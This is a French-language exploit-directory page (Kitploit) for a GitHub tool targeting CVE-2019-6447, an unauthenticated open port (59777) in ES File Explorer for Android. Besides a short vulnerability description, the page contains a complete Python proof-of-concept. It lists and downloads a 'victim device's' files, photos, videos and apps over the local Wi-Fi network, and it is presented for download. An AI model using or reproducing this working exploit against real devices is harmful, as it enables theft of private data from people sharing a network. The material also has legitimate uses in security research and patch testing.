Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
EsFileExplorer-CVE-2019-6447 — Exploitation de la vulnérabilité Android dans ES File Explorer | Kitploit
Outils/GitHubGitHub/chethine/esfileexplorer-cve-2019-6447
Sécurité AndroidAnalyse des VulnérabilitésExploitationExfiltration de DonnéesCollecte d'InformationsSécurité Mobile
GitHubchethine/esfileexplorer-cve-2019-6447

EsFileExplorer-CVE-2019-6447

Exploitation de la vulnérabilité Android dans ES File Explorer

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
Voir le dépôt
3136il y a 4 ansPas encore vérifié

EsFileExplorer-CVE-2019-6447

Exploitation de la vulnérabilité Android dans ES File Explorer

Vulnérabilité

L'ES File Explorer a été créé par ES worldwide, qui fait partie de DO Global et est basé en Chine. Ce gestionnaire de fichiers ES est uniquement disponible pour une utilisation sur les appareils mobiles fonctionnant sous le système d'exploitation Android. À l'heure actuelle, ES File Explorer a été téléchargé plus de 100 millions de fois. Cette application est le célèbre gestionnaire de fichiers d'Android, elle attire donc beaucoup d'attention. D'autre part, en 2019, des chercheurs spécialisés en cybersécurité ont découvert une vulnérabilité dans la version 4.1.9.7.4 d'ES File Explorer. Les attaquants capables d'exploiter cette vulnérabilité peuvent collecter toutes les données sensibles des utilisateurs sauvegardées dans ES File Explorer, notamment les photos, vidéos, enregistrements vocaux, documents et autres types de données.

Description de la vulnérabilité

Jusqu'à la version 4.1.9.7.4, l'application ES File Explorer File Manager pour Android permet à des attaquants distants de lire des fichiers arbitraires ou d'exécuter des applications sur un réseau Wi-Fi local en envoyant des requêtes vers le port TCP 59777. Après le premier lancement de l'application ES, ce port TCP reste ouvert et répond aux données application/json non authentifiées envoyées via HTTP.

Version affectée

Version 4.1.9.7.4

Chaque fois qu'un utilisateur lance l'application, un serveur HTTP est démarré. Ce serveur ouvre localement le port 59777 :
root@kitploit:~
angler:/ # netstat -ap | grep com.estrongs
tcp6       0      0 :::59777                :::*                    LISTEN      5696/com.estrongs.android.pop

Fonctionnalités de la preuve de concept (POC)

  • Lister tous les fichiers sur la carte SD de l'appareil victime
  • Lister toutes les photos de l'appareil victime
  • Lister toutes les vidéos de l'appareil victime
  • Lister tous les fichiers audio de l'appareil victime
  • Lister toutes les applications installées sur l'appareil victime
  • Lister toutes les applications système installées sur l'appareil victime
  • Lister toutes les applications téléphoniques installées sur l'appareil victime
  • Lister tous les fichiers APK stockés sur la carte SD de l'appareil victime
  • Lister toutes les applications installées sur l'appareil victime
  • Obtenir les informations sur l'appareil victime
  • Télécharger un fichier depuis l'appareil victime
  • Lancer une application de votre choix
  • Obtenir l'icône d'une application de votre choix

Payload

root@kitploit:~
import requests
import json
import ast
import sys

if len(sys.argv) < 3:
    print(f"USAGE {sys.argv[0]} <command> <IP> [file to download]")
    sys.exit(1)

url = 'http://' + sys.argv[2] + ':59777'
cmd = sys.argv[1]
cmds = ['listFiles','listPics','listVideos','listAudios','listApps','listAppsSystem','listAppsPhone','listAppsSdcard','listAppsAll','getFile','getDeviceInfo']
listCmds = cmds[:9]
if cmd not in cmds:
    print("[-] WRONG COMMAND!")
    print("Available commands : ")
    print("  listFiles         : List all Files.")
    print("  listPics          : List all Pictures.")
    print("  listVideos        : List all videos.")
    print("  listAudios        : List all audios.")
    print("  listApps          : List Applications installed.")
    print("  listAppsSystem    : List System apps.")
    print("  listAppsPhone     : List Communication related apps.")
    print("  listAppsSdcard    : List apps on the SDCard.")
    print("  listAppsAll       : List all Application.")
    print("  getFile           : Download a file.")
    print("  getDeviceInfo     : Get device info.")
    sys.exit(1)

print("\n==================================================================")
print("|    ES File Explorer Open Port Vulnerability : CVE-2019-6447    |")
print("|                Coded By : Nehal a.k.a PwnerSec                 |")
print("==================================================================\n")

header = {"Content-Type" : "application/json"}
proxy = {"http":"http://127.0.0.1:8080", "https":"https://127.0.0.1:8080"}

def httpPost(cmd):
    data = json.dumps({"command":cmd})
    response = requests.post(url, headers=header, data=data)
    return ast.literal_eval(response.text)

def parse(text, keys):
    for dic in text:
        for key in keys:
            print(f"{key} : {dic[key]}")
        print('')

def do_listing(cmd):
    response = httpPost(cmd)
    if len(response) == 0:
        keys = []
    else:
        keys = list(response[0].keys())
    parse(response, keys)

if cmd in listCmds:
    do_listing(cmd)

elif cmd == cmds[9]:
    if len(sys.argv) != 4:
        print("[+] Include file name to download.")
        sys.exit(1)
    elif sys.argv[3][0] != '/':
        print("[-] You need to provide full path of the file.")
        sys.exit(1)
    else:
        path = sys.argv[3]
        print("[+] Downloading file...")
        response = requests.get(url + path)
        with open('out.dat','wb') as wf:
            wf.write(response.content)
        print("[+] Done. Saved as `out.dat`.")

elif cmd == cmds[10]:
    response = httpPost(cmd)
    keys = list(response.keys())
    for key in keys:
        print(f"{key} : {response[key]}")

Démonstration

Demo

Contactez-moi

Suivez-moi sur Twitter!
Connectez-vous avec moi sur LinkedIn!
Télécharger l’outil